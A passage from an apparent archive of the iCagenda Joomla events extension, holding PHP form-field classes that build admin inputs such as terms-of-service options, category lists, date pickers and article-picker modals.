			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_article = '';
			$checked_custom = '';
		}
		elseif ($tos_Type == '1') {
			$class_article = 'btn-success';
			$checked_default = '';
			$checked_article = ' checked="checked"';
			$checked_custom = '';
		}
		elseif ($tos_Type == '2') {
			$class_custom = 'btn-success';
			$checked_default = '';
			$checked_article = '';
			$checked_custom = ' checked="checked"';
		} else {
			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_article = '';
			$checked_custom = '';
		}

		$html	= array();
		$html[]	= '<fieldset class="radio btn-group">';
		$html[]	= '<label class="'.$class_default.'">'.JText::_( 'IC_DEFAULT' ).'<input type="radio"  id="tos_Type0" name="'.$this->name.'" value=""  onClick="tosdefault();"'.$checked_default.' /></label>';
		$html[]	= '<label class="'.$class_article.'">'.JText::_( 'IC_ARTICLE' ).'<input type="radio"  id="tos_Type1" name="'.$this->name.'" value="1"  onClick="tosarticle();"'.$checked_article.' /></label>';
		$html[]	= '<label class="'.$class_custom.'">'.JText::_( 'IC_CUSTOM_TEXT' ).'<input type="radio"  id="tos_Type2" name="'.$this->name.'" value="2"  onClick="toscustom();"'.$checked_custom.' /></label>';
		$html[]	= '</fieldset>';



		$html[]	= '<script type="text/javascript">';
//		$html[]	= 'var tos_Type0 = document.getElementById("tos_Type0").checked;';
//		$html[]	= 'var tos_Type1 = document.getElementById("tos_Type1").checked;';
//		$html[]	= 'var tos_Type2 = document.getElementById("tos_Type2").checked;';
//		$html[]	= 'if(tos_Type0==true)';
//		$html[]	= '{';
//		$html[]	= 'document.getElementByName("tos_Type").value = "";';
//		$html[]	= '$("#tos_Type1").attr("checked", "checked");';
//		$html[]	= '}';
//		$html[]	= 'if(tos_Type1==true)';
//		$html[]	= '{';
//		$html[]	= 'document.getElementByName("tos_Type").value = 1;';
//		$html[]	= '}';
//		$html[]	= 'if(tos_Type2==true)';
//		$html[]	= '{';
//		$html[]	= 'document.getElementByName("tos_Type").value = 2;';
//		$html[]	= '}';
//		$html[]	= '';
//		$html[]	= '';
		$html[]	= 'function tosdefault()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("ic_default").style.display = "block";';
		$html[]	= 'document.getElementById("ic_article").style.display = "none";';
		$html[]	= 'document.getElementById("tos_custom").style.display = "none";';
		$html[]	= '$("#tos_Type0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function tosarticle()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("ic_default").style.display = "none";';
		$html[]	= 'document.getElementById("ic_article").style.display = "block";';
		$html[]	= 'document.getElementById("tos_custom").style.display = "none";';
		$html[]	= '$("#tos_Type1").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function toscustom()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("ic_default").style.display = "none";';
		$html[]	= 'document.getElementById("ic_article").style.display = "none";';
		$html[]	= 'document.getElementById("tos_custom").style.display = "block";';
		$html[]	= '$("#tos_Type2").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/cat.php000060400000007206152455305270014253 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.1 2015-01-03
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_cat extends JFormField
{
	protected $type='modal_cat';

	protected function getInput()
	{
		$app		= JFactory::getApplication();
		$session	= JFactory::getSession();

		// Initialize some field attributes.
		$class		= !empty($this->class) ? ' class="' . $this->class . '"' : '';

		if ($app->isAdmin())
		{
			$iCparams = JComponentHelper::getParams('com_icagenda');
		}
		else
		{
			$iCparams	= $app->getParams();
		}

		$orderby_catlist		= $iCparams->get('orderby_catlist', 'alpha');
		$default_catlist		= $iCparams->get('default_catlist', '');

		$admin_status_catlist	= $iCparams->get('admin_status_catlist', '1');
		$site_status_catlist	= $iCparams->get('site_status_catlist', '1');

		$admin_status_array		= is_array($admin_status_catlist) ? $admin_status_catlist : array($admin_status_catlist);
		$site_status_array		= is_array($site_status_catlist) ? $site_status_catlist : array($site_status_catlist);

		$admin_status			= implode(',', $admin_status_array);
		$site_status			= implode(',', $site_status_array);

		$catid = $session->get('ic_submit_catid', '');

		// Query List of Categories
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('c.ordering, c.title, c.state, c.id')
			->from('`#__icagenda_category` AS c');

		// Not display Trashed Categories
		$query->where('c.state <> -2');

		if ($app->isAdmin())
		{
			$query->where($db->qn('c.state') . ' IN (' . $admin_status . ') ');
		}
		else
		{
			$query->where($db->qn('c.state') . ' IN (' . $site_status . ') ');
		}

		if ($orderby_catlist == 'alpha')
		{
			$query->order('c.title ASC');
		}
		elseif ($orderby_catlist == 'ralpha')
		{
			$query->order('c.title DESC');
		}
		elseif ($orderby_catlist == 'order')
		{
			$query->order('c.ordering ASC');
		}

		$db->setQuery($query);
		$categories = $db->loadObjectList();

		$html = '<select id="' . $this->id . '" name="' . $this->name . '"' . $class . '>';

		$html.= ' <option value="">' . JTEXT::_('JOPTION_SELECT_CATEGORY') . '</option>';

		foreach ($categories as $c)
		{
			$html.= '<option value="' . $c->id . '"';

			if ($c->state == '0')
			{
				$html.= ' style="color:red"';
//				$c->title = '[' . $c->title . '] (' . JTEXT::_('JUNPUBLISHED') . ')';
				$c->title = '[' . $c->title . ']';
			}
			elseif ($c->state == '2')
			{
				$html.= ' style="color:orange"';
//				$c->title = $c->title . ' (' . JTEXT::_('JARCHIVED') . ')';
				$c->title = '[' . $c->title . ']';
			}

			if ($this->value == $c->id)
			{
				$html.= ' selected="selected"';
			}

			if ($catid == $c->id)
			{
				$html.= ' selected="selected"';
			}

			if (empty($this->value) && empty($catid)
				&& ($c->id == $default_catlist))
			{
				$html.= ' selected="selected"';
			}

			$html.= '>' . $c->title . '</option>';
		}

		$html.= '</select>';

		// clear the data so we don't process it again
		$session->clear('ic_submit_catid');

		return $html;
	}
}
com_icagenda/models/fields/modal/enddate.php000060400000003130152455305270015100 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-13
 * @since       2.0.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Form Field to load a enddate datetime picker input
 *
 * @since	2.0.0
 */
class JFormFieldModal_enddate extends JFormField
{
	protected $type = 'modal_enddate';

	protected function getInput()
	{
		$class = ! empty($this->class) ? ' class="' . $this->class . '"' : '';

		$lang = JFactory::getLanguage();

		if ($lang->getTag() == 'fa-IR')
		{
			// Including fallback code for HTML5 non supported browsers.
			JHtml::_('jquery.framework');
			JHtml::_('script', 'system/html5fallback.js', false, true);

			$attributes = '';

			$html = JHtml::_('calendar', $this->value, $this->name, 'enddate_jalali', '%Y-%m-%d %H:%M:%S', $attributes);
		}
		else
		{
			$html ='<input type="text" id="enddate"' . $class . ' name="' . $this->name . '" value="' . $this->value . '"/>';
		}

		return $html;
	}
}
com_icagenda/models/fields/modal/icalert_msg.php000060400000012410152455305270015766 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.3 2014-04-12
 * @since       3.2.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_icalert_msg extends JFormField
{
	protected $type='modal_icalert_msg';

	protected function getLabel()
	{
		return ' ';
	}

	protected function getInput()
	{
		$replace = array("jform", "params", "[", "]");
		$name_input = str_replace($replace, "", $this->name);
		$get_error = explode('_', $name_input);
		$error = $get_error['1'];
		$name = $get_error['0'];

		$url=JPATH_SITE.'/components/com_icagenda/themes/packs';

		// Set Function to condition to be checked
		$events_php=$this->getList($url);
		$cal_date=$this->getCalDate($url);

		if ($name == 'eventsfile')
		{
			$list = $events_php;
			$doc_url = 'http://www.icagenda.com/theme-pack-upgrade/3-2-8-new-option-all-dates';
			$parent_field = 'datesDisplay';
			$action_value = '1';
		}
		elseif ($name == 'caldate')
		{
			$list = $cal_date;
			$doc_url = 'http://www.icagenda.com/theme-pack-upgrade/3-3-3-change-cal-date-to-data-cal-date';
			$parent_field = 'setTodayTimezone';
			$action_value = '';
		}

		$span_style	= 'input-xlarge';

		if (version_compare(JVERSION, '3.0', 'lt')) {
			$listP		= implode('<br /> - ', $list);
			$setlist	= ' - '.$listP.' ';
		} else {
			$listP		= implode('</li><li>', $list);
			$setlist	= '<ul><li>'.$listP.'</li></ul>';
//			$span_style	= 'span8';
		}

		$html	= array();

		if (count($list) >= 1)
		{
			$html[]	= '<div id="icalert_'.$this->id.'" class="'.$span_style.' alert alert-error" style="clear:both">';
			$html[]	=  '<b>'.JText::_( $this->title ).'</b>';
			$html[]	= '<p>';
			$html[]	=  JText::_( $this->description ) . ' <a class="modal" rel="{size: {x: 700, y: 500}, handler:\'iframe\'}" href="'.$doc_url.'">' .JText::_( 'IC_MORE_INFORMATION' ). '</a>';
			$html[]	= '</p>';

			if ($this->id == 'jform_params_'.$name.'_error')
			{
				$html[]	= '<p>';
				$html[]	= '<b><i>'.JText::_( 'COM_ICAGENDA_EVENTS_PHPFILE_MISSING_PACKS_LIST' ).'</i></b><br />';
				$html[]	= $setlist;
				$html[]	= '</p>';
			}
			$html[]	= '</div>';

			$html[] = '<script type="text/javascript">';
			$html[]	= '		var icdisplay = document.getElementById("jform_params_'.$parent_field.'").value;';
			$html[] = '		document.getElementById("icalert_'.$this->id.'").style.display = "none";';
			$html[] = '		if (icdisplay == "'.$action_value.'") {';
			$html[] = '			document.getElementById("icalert_'.$this->id.'").style.display = "block";';
			$html[] = '		}';
			$html[]	= '	function icalert()';
			$html[]	= '	{';
			$html[]	= '		var icdisplay = document.getElementById("jform_params_'.$parent_field.'").value;';
			$html[] = '		document.getElementById("icalert_'.$this->id.'").style.display = "none";';
			$html[] = '		if (icdisplay == "'.$action_value.'") {';
			$html[] = '			document.getElementById("icalert_'.$this->id.'").style.display = "block";';
			$html[] = '		}';
			$html[]	= '	}';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}

	/**
	 * Function to check if the file 'THEME_events.php' exists in each Theme Pack
	 */
	function getList($dirname)
	{
		$arrayfiles = Array();

		if(file_exists($dirname))
		{
			$handle = opendir($dirname);

			while (false !== ($file = readdir($handle)))
			{
				if ( !is_file($dirname.$file)
					&& $file!= '.'
					&& $file!='..'
					&& $file!='index.php'
					&& $file!='index.html'
					&& $file!='.DS_Store'
					&& $file!='.thumbs' )
				{
					if (!file_exists($dirname.'/'.$file.'/'.$file.'_events.php'))
					{
						array_push($arrayfiles,$file);
					}
				}
			}
			$handle = closedir($handle);
		}
		sort($arrayfiles);

		return $arrayfiles;
	}

	/**
	 * Function to check if 'data-cal-date' is defined inside the file 'THEME_day.php' for each Theme Pack.
	 * Returns an alert if deprecated 'cal_date' found.
	 */
	function getCalDate($dirname)
	{
		$arrayfiles = Array();

		if (ini_get('allow_url_fopen'))
		{
			if (file_exists($dirname))
			{
				$handle = opendir($dirname);

				while (false !== ($file = readdir($handle)))
				{
					if ( !is_file($dirname.$file)
						&& $file!= '.'
						&& $file!='..'
						&& $file!='index.php'
						&& $file!='index.html'
						&& $file!='.DS_Store'
						&& $file!='.thumbs' )
					{
						$t_day = $dirname.'/'.$file.'/'.$file.'_day.php';
						$file_t_day = file_get_contents($t_day);

						if (!strpos($file_t_day, "cal_date")
							&& !strpos($file_t_day, "data-cal-date"))
						{
							array_push($arrayfiles,$file);
						}
						elseif (strpos($file_t_day, "cal_date"))
						{
							array_push($arrayfiles,$file);
						}
					}
				}
			}
			$handle = closedir($handle);
		}
		sort($arrayfiles);

		return $arrayfiles;
	}

}
com_icagenda/models/fields/modal/ictext_content.php000060400000004165152455305270016537 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0.1 2013-09-22
 * @since       3.2.0.1
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictext_content extends JFormField
{
	protected $type='modal_ictext_content';

	protected function getInput()
	{

		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$Explode = explode('_', $this->name);
		$TypeName = $Explode[0].']';

		$replace = array("jform", "[", "]");
		$name = str_replace($replace, "", $TypeName);
		$icContent = $icagendaParams->get($name.'_Content', '');

		$Type = $icagendaParams->get($name, '');

		$Type_default = $name.'_default';
		$Type_content = $name.'_custom';


		$editor = JFactory::getEditor();

		$html	= array();

		$html[] = '<div id="'.$Type_content.'"><fieldset class="span9 iCleft">';
		$html[] = $editor->display($this->name, $icContent, "100%", "300", "300", "20", 1, null, null, null, array('mode' => 'advanced'));
		$html[] = '</fieldset></div>';

		if ($Type == '2') {
			$html[] = '<script type="text/javascript">';
//			$html[] = 'document.getElementById("'.$Type_default.'").style.display = "none";';
			$html[] = 'document.getElementById("'.$Type_content.'").style.display = "block";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$Type_content.'").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/iclink_type.php000060400000010042152455305270016006 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.1 2015-02-27
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_iclink_type extends JFormField
{
	protected $type='modal_iclink_type';

	protected function getInput()
	{
		jimport('joomla.application.component.helper');

		$location = JRequest::getVar('option', 'com_config');

		if ($location != 'com_config')
		{
			$default_text	= JText::_('JGLOBAL_USE_GLOBAL');
		}
		else
		{
			$default_text = JText::_("IC_DEFAULT");
		}

		// Get Type value
		$Type			= isset($this->value) ? $this->value : '';

		// Clean jform name
		$replace		= array("jform", "params", "[", "]");
		$name			= str_replace($replace, "", $this->name);

		$Type_default	= $name . '_default';
		$Type_article	= $name . '_article';
		$Type_url		= $name . '_url';

		// Set Var type, to get selected option
		JRequest::setVar('type', $Type);

		// Article
		if ($Type == '1')
		{
			$class_default		= '';
			$class_article		= 'btn-success';
			$class_url			= '';
			$checked_default	= '';
			$checked_article	= ' checked="checked"';
			$checked_url		= '';
		}

		// URL
		elseif ($Type == '2')
		{
			$class_default		= '';
			$class_article		= '';
			$class_url			= 'btn-success';
			$checked_default	= '';
			$checked_article	= '';
			$checked_url		= ' checked="checked"';
		}

		// iCagenda default
		else
		{
			$class_default		= 'btn-primary';
			$class_article		= '';
			$class_url			= '';
			$checked_default	= ' checked="checked"';
			$checked_article	= '';
			$checked_url		= '';
		}

		$html	= array();
		$html[]	= '<fieldset class="radio btn-group">';
		$html[]	= '<label class="' . $class_default . '">' . $default_text . '<input type="radio"  id="' . $name . '_0" name="' . $this->name . '" value=""  onClick="icdefault_' . $name . '();"' . $checked_default . ' /></label>';
		$html[]	= '<label class="' . $class_article . '">' . JText::_( 'COM_ICAGENDA_REGISTRATION_LINK_ARTICLE' ) . '<input type="radio"  id="' . $name . '_1" name="' . $this->name . '" value="1"  onClick="icarticle_' . $name . '();"' . $checked_article . ' /></label>';
		$html[]	= '<label class="' . $class_url . '">' . JText::_( 'COM_ICAGENDA_REGISTRATION_LINK_URL' ) . '<input type="radio"  id="' . $name . '_2" name="' . $this->name . '" value="2"  onClick="icurl_' . $name . '();"' . $checked_url . ' /></label>';
		$html[]	= '</fieldset>';

		// Script
		$html[]	= '<script type="text/javascript">';
		$html[]	= 'function icdefault_' . $name . '()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("' . $Type_article . '").style.display = "none";';
		$html[]	= 'document.getElementById("' . $Type_url . '").style.display = "none";';
//		$html[]	= '$("#'.$name.'_0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function icarticle_' . $name . '()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("' . $Type_article . '").style.display = "block";';
		$html[]	= 'document.getElementById("' . $Type_url . '").style.display = "none";';
//		$html[]	= '$("#'.$name.'_1").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function icurl_' . $name . '()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("' . $Type_article . '").style.display = "none";';
		$html[]	= 'document.getElementById("' . $Type_url . '").style.display = "block";';
//		$html[]	= '$("#'.$name.'_2").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/index.html000060400000000032152455305270014756 0ustar00<html><body></body></html>com_icagenda/models/fields/modal/iclink_article.php000060400000016067152455305270016465 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.1 2015-02-27
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Supports a modal article picker.
 */
class JFormFieldModal_iclink_article extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_iclink_article';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams	= JComponentHelper::getParams('com_icagenda');

		$Explode		= explode('_', $this->name);
		$TypeName		= $Explode[0] . ']';

		$replace		= array("jform", "params", "[", "]");
		$name			= str_replace($replace, "", $TypeName);

//		$Type = JRequest::getVar('type');

		$allowEdit		= ((string) $this->element['edit'] == 'true') ? true : false;
		$allowClear		= ((string) $this->element['clear'] != 'false') ? true : false;

		// Load language
		JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

		// Load the modal behavior script.
		JHtml::_('behavior.modal', 'a.modal');

		// Build the script.
		$script = array();

		// Select button script
		$script[] = '	function jSelectArticle_'.$this->id.'(id, title, catid, object) {';
		$script[] = '		document.getElementById("'.$this->id.'_id").value = id;';
		$script[] = '		document.getElementById("'.$this->id.'_name").value = title;';

		if ($allowEdit)
		{
			$script[] = '		jQuery("#'.$this->id.'_edit").removeClass("hidden");';
		}

		if ($allowClear)
		{
			$script[] = '		jQuery("#'.$this->id.'_clear").removeClass("hidden");';
		}

		$script[] = '		SqueezeBox.close();';
		$script[] = '	}';

		// Clear button script
		static $scriptClear;

		if ($allowClear && !$scriptClear)
		{
			$scriptClear = true;

			$script[] = '	function jClearArticle(id) {';
			$script[] = '		document.getElementById(id + "_id").value = "";';
			$script[] = '		document.getElementById(id + "_name").value = "'.htmlspecialchars(JText::_('COM_CONTENT_SELECT_AN_ARTICLE', true), ENT_COMPAT, 'UTF-8').'";';
			$script[] = '		jQuery("#"+id + "_clear").addClass("hidden");';
			$script[] = '		if (document.getElementById(id + "_edit")) {';
			$script[] = '			jQuery("#"+id + "_edit").addClass("hidden");';
			$script[] = '		}';
			$script[] = '		return false;';
			$script[] = '	}';
		}

		// Add the script to the document head.
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

		// Setup variables for display.
		$html	= array();
		$link	= 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;function=jSelectArticle_'.$this->id;

		if (isset($this->element['language']))
		{
			$link .= '&amp;forcedLanguage='.$this->element['language'];
		}

		$db	= JFactory::getDbo();
		$db->setQuery(
			'SELECT title' .
			' FROM #__content' .
			' WHERE id = '.(int) $this->value
		);

		try
		{
			$title = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		if (empty($title))
		{
			$title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE');
		}
		$title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The active article id field.
		if (0 == (int) $this->value)
		{
			$value = '';
		}
		else
		{
			$value = (int) $this->value;
		}

		// The current article display field.
		$html[] = '<div id="'.$name.'_article"><fieldset class="span9 iCleft"><div>&nbsp;</div><span class="input-append">';
		$html[] = '<input type="text" class="input-medium" style="margin:0px" id="'.$this->id.'_name" value="'.$title.'" disabled="disabled" size="35" />';

		if(version_compare(JVERSION, '3.0', 'lt'))
		{
			$html[] = '<a class="modal btn hasTooltip" title="'.JText::_('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}">'.JText::_('JSELECT').'</a>';
		}
		else
		{
			$html[] = '<a class="modal btn hasTooltip" title="'.JHtml::tooltipText('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> '.JText::_('JSELECT').'</a>';
		}

		// Edit article button
		if ($allowEdit)
		{
			if(version_compare(JVERSION, '3.0', 'lt'))
			{
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&view=article&layout=edit&id=' . $value. '" target="_blank" title="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" alt="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" >' . JText::_('JACTION_EDIT') . '</a>';
			}
			else
			{
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&layout=modal&tmpl=component&task=article.edit&id=' . $value. '" target="_blank" title="'.JHtml::tooltipText('COM_CONTENT_EDIT_ARTICLE').'" ><span class="icon-edit"></span> ' . JText::_('JACTION_EDIT') . '</a>';
			}
		}

		// Clear article button
		if ($allowClear)
		{
			if(version_compare(JVERSION, '3.0', 'lt'))
			{
				$html[] = '<a id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')">' . JText::_('JCLEAR') . '</a>';
			}
			else
			{
				$html[] = '<button id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')"><span class="icon-remove"></span> ' . JText::_('JCLEAR') . '</button>';
			}
		}

		$html[] = '</span>';

		// class='required' for client side validation
		$class = '';
		if ($this->required)
		{
			$class = ' class="required modal-value"';
		}


		$html[] = '<input type="hidden" id="'.$this->id.'_id"'.$class.' name="'.$this->name.'" value="'.$value.'" /></fieldset></div>';

//		if ($Type == '1')
//		{
//			$html[] = '<script type="text/javascript">';
//			$html[] = 'document.getElementById("'.$name.'_article").style.display = "block";';
//			$html[] = 'document.getElementById("'.$name.'_url").style.display = "none";';
//			$html[] = '</script>';
//		}
//		elseif ($Type == '2')
//		{
//			$html[] = '<script type="text/javascript">';
//			$html[] = 'document.getElementById("'.$name.'_article").style.display = "none";';
//			$html[] = 'document.getElementById("'.$name.'_url").style.display = "block";';
//			$html[] = '</script>';
//		}
//		else
//		{
//			$html[] = '<script type="text/javascript">';
//			$html[] = 'document.getElementById("'.$name.'_article").style.display = "none";';
//			$html[] = 'document.getElementById("'.$name.'_url").style.display = "none";';
//			$html[] = '</script>';
//		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/tos_content.php000060400000004037152455305270016042 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0 2013-09-18
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_tos_content extends JFormField
{
	protected $type='modal_tos_content';

//	protected function getLabel()
//	{
//	   return ' ';
//	}

	protected function getInput()
	{

		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');
		$tosContent = $icagendaParams->get('tosContent', '');
		$tos_Type = $icagendaParams->get('tos_Type', '');


		$editor = JFactory::getEditor();
//		$editor = JEditor::getEditor();

		$html	= array();

		$html[] = '<div id="tos_custom"><fieldset class="span9 iCleft">';
		$html[] = $editor->display($this->name, $tosContent, "100%", "300", "300", "20", 1, null, null, null, array('mode' => 'advanced'));
		$html[] = '</fieldset></div>';

		if ($tos_Type == '2') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("ic_default").style.display = "none";';
			$html[] = 'document.getElementById("ic_article").style.display = "none";';
			$html[] = 'document.getElementById("tos_custom").style.display = "block";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("tos_custom").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/evt.php000060400000030331152455305270014275 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-08-01
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_evt extends JFormField
{
	protected $type = 'modal_evt';

	protected function getInput()
	{
		$jinput		= JFactory::getApplication()->input;
		$view		= $jinput->get('view');
		$id			= $jinput->get('id', null);
		$eventid	= $jinput->get('eventid', $this->value);

		$class		= isset($this->class) ? ' class="' . $this->class . '"' : '';

		$typeReg = $db_date = $db_period = $db_date_is_valid = '';

		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('e.title, e.state, e.id, e.weekdays, e.params')
			->from('`#__icagenda_events` AS e');

		if ($view == 'mail')
		{
			// Join Total of registrations
			$query->select('r.count AS registered');
			$sub_query = $db->getQuery(true);
			$sub_query->select('r.state, r.date AS reg_date, r.period AS reg_period, r.eventid, sum(r.people) AS count');
			$sub_query->from('`#__icagenda_registration` AS r');
			$sub_query->where('r.state = 1');
			$sub_query->where('r.email <> ""');
			$sub_query->group('r.eventid');
			$query->leftJoin('(' . (string) $sub_query . ') AS r ON (e.id = r.eventid)');
			$query->where('r.count > 0');
		}

		$query->order('e.title ASC');

		$db->setQuery($query);
		$events	= $db->loadObjectList();

		if ($eventid != 0 && $view == 'registration')
		{
			$query	= $db->getQuery(true);
			$query->select('r.date AS reg_date, r.period AS reg_period')
				->from('`#__icagenda_registration` AS r');
			$query->where('r.eventid = ' . (int) $eventid);
			$query->where('r.id = ' . (int) $id);
			$db->setQuery($query);
			$reg	= $db->loadObject();
			$db_date			= $reg->reg_date;
			$db_date_is_valid	= iCDate::isDate($db_date);
			$db_period			= $reg->reg_period;
		}

		// User state used in Newsletter
		$data				= JFactory::getApplication()->getUserState('com_icagenda.mail.data', array());
		$session_eventid	= isset($data['eventid']) ? $data['eventid'] : $eventid;
		$session_date		= isset($data['date']) ? $data['date'] : '';

		$html = '<div style="margin-bottom: 10px">';
		$html.= '<select id="' . $this->id . '_id"' . $class . ' name="' .
